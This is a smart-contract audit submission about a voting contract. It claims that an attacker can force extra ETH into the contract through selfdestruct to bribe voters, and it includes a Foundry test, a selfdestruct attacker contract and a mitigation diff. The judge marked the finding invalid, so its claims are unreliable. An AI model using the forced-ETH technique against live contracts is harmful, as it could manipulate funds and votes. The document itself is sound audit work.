Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Invalid

The "for" voters receives rewarding for their decisions, so that there is always a possibility of buying someone's vote as a rewarding can be increased after the voting starts

Description: The initial creator funding is the state which is intended to be static and not changeable, so that the voters have correct expectations. If the funding changes after some voters voted, it breaks the expectations. Moreover, if the voting is in the attacker's interest, the voters can always be incentivized by increasing the funding. Smart contract should provide voters with 100% rights equality, so that no one could break or change them. Even though the contract does not have fallback/receive functions, the attacker can increase the funding by his/her own contract's selfdestruct command. Thus, the voting results can be corrupted.

Impact: The voting results can be corrupted by interested person.

Proof of Concept:

  1. The creator creates the voting contract with 1 ETH funding.

  2. Some voters want to vote "against".

  3. The attacker can incentivize the "against" voters to vote "for", by proposing the bigger funding, which will be distributed among the "for" voters by the smart contract itself.

  4. Attacker send more ETH to the voting contract, the "against" voters become "for" voters (bad voters), the bad voters receive free money, attacker receives needed voting result, classical corruption environment inside the smart contract

Proof of Code

Code

Place the following into VotingBoothTest.t.sol

function testAttackerCanIncreaseForVotersRewardingFees() public {
uint256 ETH_REWARD_BY_CREATOR = 1e18;
uint256 ETH_REWARD_BY_ATTACKER = 10e18;
address attacker = makeAddr("attacker");
vm.deal(attacker, ETH_REWARD_BY_ATTACKER);
address[] memory voters = new address[](5);
voters[0] = address(0x1);
voters[1] = address(0x2);
voters[2] = address(0x3);
voters[3] = address(0x4);
voters[4] = address(0x5);
deal(address(this), ETH_REWARD);
booth = new VotingBooth{value: ETH_REWARD_BY_CREATOR}(voters);
// every voter wants to vote "against"
// In case of voting "for", the will receive 33% of 1 ETH
vm.prank(address(0x1));
booth.vote(false);
// Attacker wants "for" votes, so he/she increase the funding by 10 ETH, making the "for" rewarding much higher by selfdestructing the his/her contract
assertEq(address(booth).balance, ETH_REWARD_BY_CREATOR);
vm.prank(attacker);
new AttackerFundingContract{value: ETH_REWARD_BY_ATTACKER}(address(booth));
assertEq(address(booth).balance, ETH_REWARD_BY_ATTACKER + ETH_REWARD_BY_CREATOR);
// Voters are incentivized by the big rewarding money to vote as the attacker wants
vm.prank(address(0x2));
booth.vote(true);
vm.prank(address(0x3));
booth.vote(true);
assert(!booth.isActive());
// the bad voters earns more than 3.5 ethers each, even though the initial funding was 1 ether for all voters
assert(address(0x2).balance > 3.5 ether);
assert(address(0x3).balance > 3.5 ether);
}

And also place the following into VotingBoothTest.t.sol after the test contract:

contract AttackerFundingContract {
constructor(address victim) payable {
selfdestruct(payable(victim));
}
}

Recommended Mitigation: It is recommended to create the separate i_funding immutable variable, which will be written by the creator in the constructor with the sent msg.value. Then the contract should use i_funding instead of address(this).balance to distribute among the voters. Thus, even though attacker can send money to the contract, the voters will not receive higher rewarding.

+ uint256 public immutable i_funding;
constructor(address[] memory allowList) payable {
+ i_funding = msg.value
...
}
...
function _distributeRewards() private {
// get number of voters for & against
uint256 totalVotesFor = s_votersFor.length;
uint256 totalVotesAgainst = s_votersAgainst.length;
uint256 totalVotes = totalVotesFor + totalVotesAgainst;
// rewards to distribute or refund. This is guaranteed to be
// greater or equal to the minimum funding amount by a check
// in the constructor, and there is intentionally by design
// no way to decrease or increase this amount. Any findings
// related to not being able to increase/decrease the total
// reward amount are invalid
- uint256 totalRewards = address(this).balance
+ uint256 totalRewards = i_funding
Updates

Lead Judging Commences

0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.